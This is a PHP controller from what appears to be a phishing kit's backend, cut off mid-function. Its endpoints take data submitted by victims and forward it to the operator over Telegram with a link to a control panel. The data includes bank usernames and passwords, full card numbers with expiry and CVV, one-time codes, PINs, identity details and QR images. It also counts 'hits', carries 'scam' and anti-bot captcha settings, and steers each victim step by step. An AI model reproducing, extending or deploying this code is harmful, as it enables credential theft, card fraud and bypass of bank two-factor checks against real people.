<?php

namespace App\Controller;

use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
use Laminas\Diactoros\ResponseFactory;
use App\Service\TelegramService;
use GuzzleHttp\Client;
use Sinergi\BrowserDetector\Browser;
use Sinergi\BrowserDetector\Os;
use Sinergi\BrowserDetector\Device;

class DataController
{
    private $responseFactory;
    private $config;
    private $telegramService;
    private $httpClient;
    private $apiKey;

    public function __construct(ResponseFactory $responseFactory, array $config, string $apiKey)
    {
        $this->responseFactory = $responseFactory;
        $this->config = $config;
        $this->telegramService = new TelegramService($config);
        $this->httpClient = new Client();
        $this->apiKey = $apiKey;
    }

    private function getUrl($referer, $userid, $ip)
    {
        $parsedUrl = parse_url($referer);
        $baseUrl = $parsedUrl['scheme'] . '://' . $parsedUrl['host'] . '/';
        $panel = $baseUrl . "remote/" . $userid . "/" . $ip;
        //$panel = "http://www.localhost:5173/remote/" . $userid . "/" . $ip;

        return $panel;
    }

    public function getConfig(Request $request, Response $response, $args): Response
    {
        try {
            $config = $this->config;

            $response->getBody()->write(json_encode([
                'panel' => $config['panel'],
                'captcha' => $config['antibots']['captcha'],
                'page' => $config['page'],
                'notif' => $config['notif'],
                'scam' => $config['scam']
            ]));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }
    }

    public function sendNotif(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $notif = $rezData['notif'] ?? 'N/A';

            $message = "🎩 <b>[ +1 NOTIF ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 : <b>" . $notif . "</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;


            $this->telegramService->sendMessage($message, $keyboard);

            
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendLogin(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $message = "🎩 <b>[ +1 LOGIN CLICK ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;


            $this->telegramService->sendMessage($message, $keyboard);
            //Add stats
            $this->incrementIniSection('log');
            
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendLoginBank(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $user = $rezData['user'] ?? 'N/A';
            $pass = $rezData['pass'] ?? 'N/A';

            $message = "🎩 <b>[ +1 LOGIN BANK ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "<i>🪄 USER : </i><code>" . $user . "</code>" . PHP_EOL;
            $message .= "<i>🪄 PASS : </i><code>" . $pass . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;


            $this->telegramService->sendMessage($message, $keyboard);

            //Add stats
            $this->incrementIniSection('bank');
            
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }


    public function sendInfo(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $name = $rezData['name'] ?? 'N/A';
            $dob = $rezData['dob'] ?? 'N/A';
            $phone = $rezData['phone'] ?? 'N/A';
            $city = $rezData['city'] ?? 'N/A';
            $address = $rezData['address'] ?? 'N/A';
            $zip = $rezData['zip'] ?? 'N/A';

            $message = "🎩 <b>[ +1 INFOZ ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 <b>Name: </b><code>" . $name . "</code>" . PHP_EOL;
            $message .= "🪄 <b>Brith : </b><code>" . $dob . "</code>" . PHP_EOL;
            $message .= "🪄 <b>Phone: </b><code>" . $phone . "</code>" . PHP_EOL;
            $message .= "🪄 <b>City: </b><code>" . $city . "</code>" . PHP_EOL;
            $message .= "🪄 <b>Address : </b><code>" . $address . "</code>" . PHP_EOL;
            $message .= "🪄 <b>Zip: </b><code>" . $zip . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('info');

            $this->telegramService->sendMessage($message, $keyboard);
    
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendCard(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $ccn = $rezData['ccn'] ?? 'N/A';
            $exp = $rezData['exp'] ?? 'N/A';
            $cvv = $rezData['cvv'] ?? 'N/A';

            // Remove any spaces from the card number
            $cc = str_replace(' ', '', $ccn);
            // Extract the BIN (first 6 digits)
            $bin = substr($cc, 0, 6);

            $block = PHP_EOL;
    
            try {
                // Using Guzzle HTTP client
                $binApiResponse = $this->httpClient->request('GET', "https://api.apilayer.com/bincheck/{$bin}", [
                    'headers' => [
                        'apikey' => $this->config['bin_lookup']['api_key'],
                    ],
                ]);
    
                if ($binApiResponse->getStatusCode() === 200) {
                    // Decode the JSON response
                    $binData = json_decode($binApiResponse->getBody()->getContents(), true);
    
                    // Parse the response data
                    $binInfo = [
                        'bank' => $binData['bank_name'] ?? 'Unknown Bank',
                        'scheme' => $binData['scheme'] ?? 'Unknown Scheme',
                        'type' => $binData['type'] ?? 'Unknown Type',
                        'url' => $binData['url'] ?? 'Unknown URL',
                        'country' => $binData['country'] ?? 'Unknown Country',
                    ];
    
                    $block .= "<i>🪄 Bank<b> : " . $binInfo['bank'] . "</b></i>" . PHP_EOL;
                    $block .= "<i>🪄 Level<b> : " . $binInfo['type'] . "</b></i>" . PHP_EOL;
                    $block .= "<i>🪄 Type<b> : " . $binInfo['scheme'] . "</b></i>" . PHP_EOL;
                    $block .= "<i>🪄 Country<b> : " . $binInfo['country'] . "</b></i>" . PHP_EOL;
                }
            } catch (\Exception $e) {
                // Log the error or take any action, but do not throw an exception
                $block .= "<i>🔴 BIN data could not be retrieved.</i>" . PHP_EOL;
            }

            $message = "<b>[ 💳 +1 CARD - " . $bin . " ]</b>" . PHP_EOL;
            $message .= "<i>↳ " . $cc . "</i>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "<i>🪄 Number : </i><code>" . $ccn . "</code>" . PHP_EOL;
            $message .= "<i>🪄 Expiration : </i><code>" . $exp . "</code>" . PHP_EOL;
            $message .= "<i>🪄 CVV : </i><code>" . $cvv . "</code>" . PHP_EOL;
            $message .= $block;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('card');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendSms(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $code = $rezData['code'] ?? 'N/A';

            $message = "🎩 <b>[ +1 OTP ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 Code: <code>" . $code . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('otp');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }


    public function sendPin(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $pin = $rezData['pin'] ?? 'N/A';

            $message = "🎩 <b>[ +1 PIN ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 Code: <code>" . $pin . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('pin');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendMail(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $mail = $rezData['mail'] ?? 'N/A';

            $message = "🎩 <b>[ +1 MAIL ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 Code: <code>" . $mail . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('mail');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendApp(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $cc = $rezData['cc'] ?? 'N/A';
            $text = $rezData['text'] ?? 'N/A';


            $message = "🎩 <b>[ +1 APP ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 <i>" . $text . "</i>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧑‍💻 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('app');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendCustom(Request $request, Response $response, $args): Response
    {
        // Initialize the response data
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';

        try {
            // Read raw input and decode JSON
            $data = $this->parseRequestBody($request);

            // Extract the message
            $rezData = $data['data'] ?? [];
            $userid = $data['userid'] ?? '';

            $referer = $request->getHeaderLine('Referer');
            $panel = $this->getUrl($referer, $userid,  $ipAddress);

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];

            $custom = $rezData['custom'] ?? 'N/A';

            $message = "🎩 <b>[ +1 CUSTOM ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🪄 Custom: <code>" . $custom . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>" . $ip . "</i>" . PHP_EOL;
            $message .= "🧲 <i>" . $ua . "</i>" . PHP_EOL;
            $message .= "🆔 <i>" . $userid . "</i>" . PHP_EOL;

            //Add stats
            $this->incrementIniSection('custom');
            // Send the message using your Telegram service
            $this->telegramService->sendMessage($message, $keyboard);
        } catch (\Exception $e) {
            // Handle any unexpected errors
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500); // Internal Server Error
        }

        // Respond with success and include the sent message for debugging
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200); // OK
    }

    public function sendQr(Request $request, Response $response, $args): Response
    {
        $responseData = ['status' => 'success'];
        $ipAddress = $this->getClientIp();
        $ipData = $this->fetchIpData($ipAddress);
        $ua = $this->getUserAgent();
        $ip = $ipData['query'] ?? '';
        $userid = $request->getParsedBody()['userid'] ?? '';
    
        try {
            // Retrieve the uploaded QR image
            $uploadedFiles = $request->getUploadedFiles();
            $qr = $uploadedFiles['qr'] ?? null;
    
            if ($qr && $qr->getError() === UPLOAD_ERR_OK) {
                $qrPath = $this->saveUploadedFile($qr, $userid, 'qr');
            } else {
                $qrPath = null;
            }
    
            // Log file path for debugging
            error_log("QR Image Path: " . ($qrPath ?? 'No QR image uploaded'));
    
            // Generate URL for the panel based on request headers and userid
            $panel = $this->getUrl($request->getHeaderLine('Referer'), $userid, $ipAddress);
    
            // Inline keyboard setup for Telegram message
            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $panel],
                    ]
                ],
            ];
    
            // Construct Telegram message
            $message = "🖼️ <b>[ +1 QR ]</b>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "<b>QR Image: </b><code>" . ($qrPath ? basename($qrPath) : 'N/A') . "</code>" . PHP_EOL;
            $message .= PHP_EOL;
            $message .= "🌍 <i>IP: " . $ip . "</i>" . PHP_EOL;
            $message .= "🧲 <i>UA: " . $ua . "</i>" . PHP_EOL;
            $message .= "🪪 <i>User ID: " . $userid . "</i>" . PHP_EOL;
    
            // Increment count in the section for tracking purposes
            $this->incrementIniSection('cni');
    
            // Send Telegram message with the photo
            $this->telegramService->sendMessageWithPhotos($message, $keyboard, $qrPath);
    
        } catch (\Exception $e) {
            $responseData['status'] = 'error';
            $responseData['message'] = 'An unexpected error occurred: ' . $e->getMessage();
            $response->getBody()->write(json_encode($responseData));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500);
        }
    
        $response->getBody()->write(json_encode($responseData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }
    
    
    
    private function saveUploadedFile($uploadedFile, $userid, $type): string
    {
        $directory = __DIR__ . '/../../data/images'; // Ensure this path is correct
        if (!is_dir($directory)) {
            throw new \Exception("Directory does not exist: $directory");
        }
        if (!is_writable($directory)) {
            throw new \Exception("Directory is not writable: $directory");
        }
    
        // Construct the new filename with userid and type (recto or verso)
        $extension = pathinfo($uploadedFile->getClientFilename(), PATHINFO_EXTENSION);
        $filename = $userid . '-' . $type . '.' . $extension;
        $filePath = $directory . DIRECTORY_SEPARATOR . $filename;
    
        $uploadedFile->moveTo($filePath);
        return $filePath;
    }

    public function resetStats(Request $request, Response $response, $args): Response
    {
        $iniFilePath = __DIR__ . '/../../data/stats.ini';

        // Check if the file exists and is readable
        if (file_exists($iniFilePath) && is_readable($iniFilePath)) {
            // Parse the INI file
            $data = parse_ini_file($iniFilePath, true);

            if ($data !== false) {
                // Reset the values to 0
                $data['totale'] = 0;
                $data['bot'] = 0;
                $data['real'] = 0;
                $data['log'] = 0;
                $data['info'] = 0;
                $data['card'] = 0;
                $data['otp'] = 0;
                $data['pin'] = 0;
                $data['app'] = 0;
                $data['mail'] = 0;
                $data['custom'] = 0;
                $data['cni'] = 0;
                $data['bank'] = 0;

                // Update the INI file
                $this->updateIniFile($data, $iniFilePath);

                // Return success response
                $response->getBody()->write(json_encode([
                    'success' => true,
                    'message' => 'Stats reset successfully'
                ]));
                return $response->withHeader('Content-Type', 'application/json');
            } else {
                // Handle error in parsing INI file
                $response->getBody()->write(json_encode([
                    'error' => true,
                    'message' => 'Error parsing INI file'
                ]));
                return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
            }
        } else {
            // Handle file not found or inaccessible
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'File not found or inaccessible'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }
    }

    public function getStats(Request $request, Response $response, $args): Response
    {
        $iniFilePath = __DIR__ . '/../../data/stats.ini';

        // Check if the file exists and is readable
        if (file_exists($iniFilePath) && is_readable($iniFilePath)) {
            // Parse the INI file
            $data = parse_ini_file($iniFilePath, true);

            if ($data !== false) {
                // Return the stats as a JSON response
                $response->getBody()->write(json_encode($data));
                return $response->withHeader('Content-Type', 'application/json');
            } else {
                // Handle error in parsing INI file
                $response->getBody()->write(json_encode(['error' => 'Error parsing INI file']));
                return $response->withStatus(500)->withHeader('Content-Type', 'application/json');
            }
        } else {
            // Handle file not found or inaccessible
            $response->getBody()->write(json_encode(['error' => 'File not found or inaccessible']));
            return $response->withStatus(404)->withHeader('Content-Type', 'application/json');
        }
    }


    private function incrementIniSection(string $put): void
    {
        $file = __DIR__ . '/../../data/stats.ini';
        $data = @parse_ini_file($file, true);
        $data[$put]++; // Increment the value
        $this->updateIniFile($data, $file);
    }

    private function updateIniFile(array $data, string $file): bool
    {
        $iniString = '';
        foreach ($data as $key => $value) {
            $iniString .= "$key=$value\n";
        }

        return file_put_contents($file, $iniString) !== false;
    }

    public function getUserData(Request $request, Response $response, $args): Response
    {
        $userid = $args['userid'];  // Get the userid from the route arguments

        // Load the JSON data
        $filePath = __DIR__ . '/../../data/actions.json';
        if (!file_exists($filePath)) {
            $response->getBody()->write(json_encode(['error' => 'Data file not found']));
            return $response->withStatus(404)->withHeader('Content-Type', 'application/json');
        }

        $data = json_decode(file_get_contents($filePath), true);

        // Check if the actions key exists
        if (!isset($data['actions'])) {
            $response->getBody()->write(json_encode(['error' => 'No actions data available']));
            return $response->withStatus(404)->withHeader('Content-Type', 'application/json');
        }

        // Find the action for the given userid
        $userAction = array_filter($data['actions'], function ($action) use ($userid) {
            return $action['id'] === $userid;
        });

        if (empty($userAction)) {
            $response->getBody()->write(json_encode(['error' => 'User ID not found']));
            return $response->withStatus(404)->withHeader('Content-Type', 'application/json');
        }

        // Return the data for the userid
        $response->getBody()->write(json_encode(array_values($userAction)[0]));
        return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
    }



    public function addUser(Request $request, Response $response, $args): Response
    {
        $rawData = $request->getBody()->getContents();
        $dataset = json_decode($rawData, true);

        // Validate input
        if (!isset($dataset['userid'])) {
            $response->getBody()->write(json_encode(['error' => 'Invalid action data']));
            return $response->withStatus(400)->withHeader('Content-Type', 'application/json');
        }

        $userid = $dataset['userid'];

        // Load the JSON data
        $filePath = __DIR__ . '/../../data/actions.json';
        if (!file_exists($filePath)) {
            $data = ['actions' => []];
        } else {
            $data = json_decode(file_get_contents($filePath), true);
            if (!isset($data['actions'])) {
                $data['actions'] = [];
            }
        }

        // Check if the userid already exists
        if (array_search($userid, array_column($data['actions'], 'id')) !== false) {
            $response->getBody()->write(json_encode(['message' => 'User ID already exists']));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        // Define the predefined action structure
        $newAction = [
            "id" => $userid,
            "step" => "",
            "text" => "",
            "input" => ""
        ];

        // Append new action to the existing actions
        $data['actions'][] = $newAction;

        // Save the updated data back to the file
        if (file_put_contents($filePath, json_encode($data, JSON_PRETTY_PRINT)) === false) {
            $response->getBody()->write(json_encode(['error' => 'Failed to write to file']));
            return $response->withStatus(500)->withHeader('Content-Type', 'application/json');
        }

        $response->getBody()->write(json_encode(['message' => 'User ID added successfully with predefined action']));
        return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
    }

    public function updateAction(Request $request, Response $response, $args): Response
    {
        $rawData = $request->getBody()->getContents();
        $dataset = json_decode($rawData, true);

        // Validate input
        if (!isset($dataset['step']) || !isset($dataset['userid'])) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Invalid step data'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $newStep = $dataset['step'];
        $userid = $dataset['userid'];

        // Load the JSON data
        $filePath = __DIR__ . '/../../data/actions.json';
        if (!file_exists($filePath)) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Data file not found'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $data = json_decode(file_get_contents($filePath), true);

        // Check if the actions key exists
        if (!isset($data['actions'])) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'No actions data available'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        // Find the action for the given userid
        $actionKey = array_search($userid, array_column($data['actions'], 'id'));

        if ($actionKey === false) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'User ID not found'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        // Update the step for the found action
        $data['actions'][$actionKey]['step'] = $newStep;

        // Save the updated data back to the file
        if (file_put_contents($filePath, json_encode($data, JSON_PRETTY_PRINT)) === false) {
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Failed to write to file'
            ]));
            return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
        }

        $response->getBody()->write(json_encode([
            'success' => true,
            'message' => 'Action updated successfully #' . $newStep,
        ]));
        return $response->withStatus(200)->withHeader('Content-Type', 'application/json');
    }


    public function updateCustom(Request $request, Response $response, $args): Response
    {
        $rawData = $request->getBody()->getContents();
        $dataset = json_decode($rawData, true);

        // Validate input
        if (!isset($dataset['step']) || !isset($dataset['userid']) || !isset($dataset['text']) || !isset($dataset['input'])) {
            $response->getBody()->write(json_encode([
                'error' => true,
